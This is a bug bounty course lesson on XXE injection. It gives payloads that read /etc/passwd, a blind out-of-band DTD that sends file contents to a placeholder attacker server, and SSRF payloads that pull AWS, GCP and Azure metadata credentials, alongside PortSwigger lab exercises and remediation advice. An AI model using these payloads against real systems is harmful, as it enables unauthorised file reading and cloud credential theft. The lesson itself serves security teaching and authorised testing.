Bug Bounty Course -- Day 13 of 30
43%

XXE Injection Bug Bounty 2026 — Day 13 Hack Server Files via XML

XXE Injection Bug Bounty 2026 — Day 13 Hack Server Files via XML

DAY 13
🎯 BUG BOUNTY COURSE
FREE

Part of the 60-Day Bug Bounty Mastery Course — from zero to first bounty

Day 13 of 60 · 21.7% complete

XXE is the vulnerability that turns a file upload form, an invoice parser, or a stock feed endpoint into a path straight to /etc/passwd — or worse, a window into the cloud metadata service that hands you production AWS credentials. It pays anywhere from $500 to $50,000 depending on what the server gives back. XXE Injection Bug Bounty Day 13 is where XML becomes a weapon.

🎯 What You’ll Master in Day 13

Identify every XML input point in a web application using Burp Suite
Craft basic XXE payloads to read server files including /etc/passwd and /etc/hosts
Use blind XXE with OOB callbacks to confirm parsing on non-reflecting endpoints
Escalate XXE to SSRF against AWS metadata endpoints and internal services
Write a complete XXE bug bounty report with CVSS scoring and remediation

⏱️ 22 min read · 3 hands-on exercises

📊 Where are you with XXE coming into Day 13?




✅ Perfect — this guide covers the full XXE attack chain from basic file read through blind OOB to cloud metadata SSRF. Use the TOC to navigate.

On Day 12 we exploited unrestricted file upload to gain remote code execution. Today we move into a completely different attack class — XML injection. XXE vulnerabilities exist wherever an application processes XML input without disabling external entity resolution, which is the default behaviour in many legacy XML parsing libraries. This is Day 13 of the 60-Day Bug Bounty Mastery Course.


How XXE Works — XML Parser Trust

XML supports a feature called external entities — references defined in a DOCTYPE declaration that the parser resolves before processing the document. Originally designed for including shared content, this feature can be abused to point the entity at local files or internal URLs. When the parser resolves the entity, it reads the target and embeds its contents into the document — which the application may then reflect back in its response.

securityelites.com
# Normal XML request the application expects:
<?xml version=”1.0″?>
<stockCheck>
<productId>3</productId>
</stockCheck>

# Malicious XXE payload — attacker injects DOCTYPE:
<?xml version=”1.0″?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>
<stockCheck>
<productId>&xxe;</productId>
</stockCheck>

# Server response (vulnerable parser resolves &xxe;):
“Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…”

📸 Basic XXE payload — the DOCTYPE declares an external entity pointing at /etc/passwd, then &xxe; is referenced in the productId field. The server resolves the entity and returns the file contents in the error message.

Finding XML Input Points with Burp Suite

XXE exists wherever an application parses XML. The attack surface is wider than most hunters expect — it includes not just obvious XML forms, but also file uploads, API endpoints, and content-type switching.

IDENTIFYING XML ATTACK SURFACE IN BURP
# In Burp Suite Proxy History — filter for XML content types:
Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: application/rss+xml

# Less obvious XML attack surfaces to hunt:
File uploads → .docx, .xlsx, .svg, .xml, .pptx are all ZIP+XML
JSON endpoints → change Content-Type to XML — some parsers accept both
SOAP APIs → always XML-based, always worth testing
PDF generators → many use XML templates internally
RSS/Atom feeds → if the app parses user-submitted feeds

# Burp Suite: right-click any XML request → Send to Repeater
# Then manually inject DOCTYPE declaration and test

🛠️ EXERCISE 1 — PORTSWIGGER LAB (FREE · NO INSTALL)
Exploit a basic XXE to read /etc/passwd on the PortSwigger Web Academy

⏱️ Time: 10 minutes · Free PortSwigger account required

Lab: “Exploiting XXE using external entities to retrieve files” — PortSwigger Web Academy

URL: https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files

Steps:
1. Click “Access the lab” — a live vulnerable app loads
2. Navigate to a product page and click “Check stock”
3. Intercept the request in Burp Suite — note the XML body
4. Inject the XXE payload before the first XML element:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>
5. Reference &xxe; in the productId field
6. Forward the request — /etc/passwd contents appear in response
7. The lab marks itself solved automatically

✅ What you just learned: A stock check form that processes XML without restricting entity resolution reads arbitrary server files. This exact pattern appears in real production applications — invoice parsers, shipping integrations, and any SOAP-based API endpoint. The fix is one line: disable external entity processing in the XML parser configuration.

📸 Screenshot the solved lab confirmation and share in #day13-xxe on Discord.


Blind XXE — Out-of-Band Exfiltration

Most real-world XXE vulnerabilities are blind — the application parses the malicious XML but does not reflect the entity contents in its response. Detecting and exploiting blind XXE requires out-of-band (OOB) techniques: causing the server to make an external connection to an attacker-controlled server, confirming that parsing occurred and allowing data exfiltration via DNS or HTTP.

BLIND XXE — OOB DETECTION PAYLOADS
# Step 1: Confirm blind XXE via DNS/HTTP callback
# Use Burp Collaborator or interactsh (free) as your OOB server
<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://YOUR-COLLABORATOR.burpcollaborator.net”>]>
<foo>&xxe;</foo>
# If server is vulnerable → HTTP request arrives at your collaborator

# Step 2: Exfiltrate file contents via OOB (parameter entity method)
# Requires hosting a malicious DTD file on your server:
# malicious.dtd (host this at http://YOUR-SERVER/malicious.dtd):
<!ENTITY % file SYSTEM “file:///etc/passwd”>
<!ENTITY % eval “<!ENTITY &#x25; exfil SYSTEM ‘http://YOUR-SERVER/?x=%file;’>”>
%eval;
%exfil;

# Then inject this in the target app’s XML:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM “http://YOUR-SERVER/malicious.dtd”> %xxe;]>
# /etc/passwd contents arrive in YOUR-SERVER access log as URL parameter

# Free OOB server alternatives to Burp Collaborator:
https://app.interactsh.com → free, no account needed
https://webhook.site → HTTP callbacks with request viewer

🧠 EXERCISE 2 — THINK LIKE A HACKER (4 MIN)
Why does blind XXE require a different exploitation technique than basic XXE?

⏱️ Time: 4 minutes · No tools required

The application parses your XML but never reflects entity contents
in the HTTP response. You know the parser is XML-based.

Answer these before building your payload:
1. Why can’t you use &xxe; referencing file:///etc/passwd here?
2. How does a DNS callback confirm the parser is resolving external entities?
3. Why does data exfiltration require a two-stage approach (external DTD)?
4. What server-side restriction would block OOB HTTP callbacks but not DNS?
5. If callbacks are blocked entirely, how else could you confirm XXE?

✅ What you just learned: Blind XXE requires OOB because there is no response channel for the data. DNS callbacks confirm parsing (DNS is rarely blocked outbound). HTTP callbacks enable data exfiltration. The external DTD is needed because inline parameter entities cannot reference each other in the same DOCTYPE due to XML spec restrictions. Error-based XXE is a fallback when all outbound connections are blocked — triggering parser errors that include file contents in error messages.

📸 Write your answers and share in #day13-blindxxe on Discord.


XXE to SSRF — Cloud Metadata Escalation

Replacing the file:// URI with http:// turns XXE into a server-side request forgery attack. The server fetches the URL and returns the response — giving you read access to internal services and cloud metadata endpoints that are only accessible from within the server’s network.

XXE → SSRF — HIGH-VALUE TARGETS
# AWS EC2 metadata service (IMDSv1 — still common in legacy deployments)
<!ENTITY xxe SYSTEM “http://169.254.169.254/latest/meta-data/”>
# Returns: ami-id, hostname, iam/, instance-id, etc.

# AWS IAM credentials (critical — if this works, game over)
<!ENTITY xxe SYSTEM “http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME”>
# Returns: AccessKeyId, SecretAccessKey, Token — production AWS keys

# GCP metadata service
<!ENTITY xxe SYSTEM “http://metadata.google.internal/computeMetadata/v1/”>

# Azure IMDS
<!ENTITY xxe SYSTEM “http://169.254.169.254/metadata/instance?api-version=2021-02-01”>

# Internal network probe — enumerate internal services
<!ENTITY xxe SYSTEM “http://192.168.1.1/”>
<!ENTITY xxe SYSTEM “http://localhost:8080/admin”>
# Any internal URL only accessible from server’s network

💡 Bounty Impact Multiplier: XXE that reads /etc/passwd pays $500-$2,000. XXE that reads AWS IAM credentials via the metadata service pays $10,000-$50,000+ on major programs. The same one-line payload change (file:// → http://169.254.169.254) is the difference. Always test for SSRF escalation on any confirmed XXE — it takes 30 seconds and can multiply your payout by 10x.

🔥 EXERCISE 3 — BURP SUITE (PORTSWIGGER BLIND XXE LAB)
Exploit blind XXE using OOB interaction on a live PortSwigger lab

⏱️ Time: 20 minutes · Burp Suite Community + free PortSwigger account

Lab: “Blind XXE with out-of-band interaction” — PortSwigger Web Academy

BLIND XXE OOB WORKFLOW
# 1. Open Burp Suite → Burp Collaborator → Copy URL
# 2. Access the PortSwigger lab, intercept the XML stock check request
# 3. In Burp Repeater, inject this payload (replace collaborator URL):

<?xml version=”1.0″?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://YOUR-COLLABORATOR.burpcollaborator.net”>]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

# 4. Send the request
# 5. In Burp Collaborator → Poll now
# 6. Incoming HTTP/DNS request confirms server resolved the entity
# 7. Lab marks itself as solved

✅ What you just learned: Even when the application returns no visible data, the OOB callback proves the XML parser is resolving external entities. In a real bug bounty, this OOB confirmation is sufficient evidence to report a blind XXE vulnerability — the callback itself demonstrates the parser trust issue even before you attempt data exfiltration.

📸 Screenshot the Burp Collaborator callback and share in #day13-blindxxe on Discord. Tag #bbday13


Writing the Bug Bounty Report

XXE is one of the most well-understood vulnerability classes — triagers know exactly what to look for. A good XXE report shows the complete request/response chain, the file read or OOB callback evidence, and a clear CVSS score with justification.

XXE BUG BOUNTY REPORT TEMPLATE
Title: XXE Injection at /api/stock/check — Arbitrary File Read via External Entity

Severity: High (CVSS 7.5) — Critical (9.8) if SSRF to metadata service confirmed

Affected Endpoint: POST /api/stock/check

Steps to Reproduce:
1. Send the following HTTP request:
POST /api/stock/check HTTP/1.1
Content-Type: application/xml
<?xml version=”1.0″?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
2. Observe that the response contains the contents of /etc/passwd

Impact:
An unauthenticated attacker can read arbitrary files from the server
filesystem with the web server process permissions. This includes
application configuration files, source code, and credentials.

Remediation:
Disable external entity processing in the XML parser:
Java: factory.setFeature(“http://xml.org/sax/features/external-general-entities”, false)
PHP: libxml_disable_entity_loader(true)
Python: use defusedxml instead of standard library xml.etree

🧠 QUICK CHECK — Day 13

What is the primary reason blind XXE requires out-of-band (OOB) techniques?



📋 Key Payloads Today — Day 13 Reference Card

<!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>Basic XXE — read local file and reflect in response
<!ENTITY xxe SYSTEM “http://169.254.169.254/latest/meta-data/”>XXE to SSRF — AWS metadata service enumeration
<!ENTITY xxe SYSTEM “http://COLLABORATOR.burpcollaborator.net”>Blind XXE — OOB HTTP callback to confirm parsing
https://app.interactsh.comFree OOB server for blind XXE callbacks (no account needed)

🏆 Mark Day 13 as Complete

From basic file read to cloud metadata escalation — XXE mastered.


❓ Frequently Asked Questions – XXE Injection Bug Bounty

What is XXE injection?
XXE (XML External Entity) injection exploits insecure XML parser configuration — when the parser has external entity processing enabled (the default in many libraries), an attacker can inject a DOCTYPE declaration that causes the parser to read local files, make HTTP requests to internal services, or exfiltrate data to an external server.
What is the difference between regular and blind XXE?
Regular XXE reflects the external entity contents in the HTTP response — you inject a payload and see the file contents directly. Blind XXE occurs when the application parses the XML but never returns the entity contents. Blind XXE requires OOB techniques — causing the server to make an external DNS or HTTP request to confirm parsing and exfiltrate data.
How much does XXE pay on bug bounty programs?
XXE payouts scale with impact. Reading /etc/passwd typically pays $500-$2,000. Reading source code or application credentials pays $2,000-$10,000. XXE escalated to SSRF accessing AWS IAM credentials via the metadata service may pay $10,000-$50,000+ on top-tier programs. Always test for SSRF escalation — it multiplies payout potential dramatically.
How do I prevent XXE?
Disable external entity processing in your XML parser. In Java: setFeature(“external-general-entities”, false). In PHP: libxml_disable_entity_loader(true). In Python: use defusedxml. This is the only reliable fix — input sanitisation and WAF rules are insufficient because DOCTYPE syntax has too many variations to blacklist effectively.
What comes after XXE in this course?
Day 14 covers Command Injection — the vulnerability class where unsanitised input is passed directly to OS commands, allowing arbitrary code execution. Command injection is related to XXE SSRF in that both achieve server-side execution of attacker-controlled input through different attack vectors.

← Previous

Day 12: File Upload Vulnerabilities

Next →

Day 14: Command Injection

📚 Further Reading

  • Day 12: File Upload Vulnerabilities — The previous session — exploit unrestricted file upload to achieve remote code execution and understand the upload validation bypass techniques.
  • Burp Suite Cheat Sheet 2026 — Complete Burp Suite reference including Repeater, Collaborator, and Intruder workflows essential for finding and exploiting XXE.
  • Bug Bounty Course Hub — The full 60-day course map showing where XXE sits in the complete bug bounty methodology and what vulnerability classes follow.
  • PortSwigger: XXE Complete Guide — The definitive XXE reference with 9 free interactive labs covering all XXE variants including blind OOB, error-based, and SVG-based XXE.
  • OWASP XXE Prevention Cheat Sheet — Parser-specific disable instructions for Java, PHP, Python, .NET, and every major XML library — the remediation reference for your bug reports.

ME
Mr Elite
Owner, SecurityElites.com
The most memorable XXE I ever found was in a major e-commerce platform’s invoice PDF generator. The system accepted XML-formatted invoice data from third-party sellers, and the PDF library was parsing external entities. A payload referencing the AWS metadata service returned IAM credentials with S3 full access permissions. One XXE, one payload change from file:// to http://, and the entire product image CDN was accessible. That finding went from estimated $2,000 to a $28,000 critical payout. Always test for SSRF escalation — it costs 30 seconds and can change everything.

Leave a Reply

Your email address will not be published. Required fields are marked *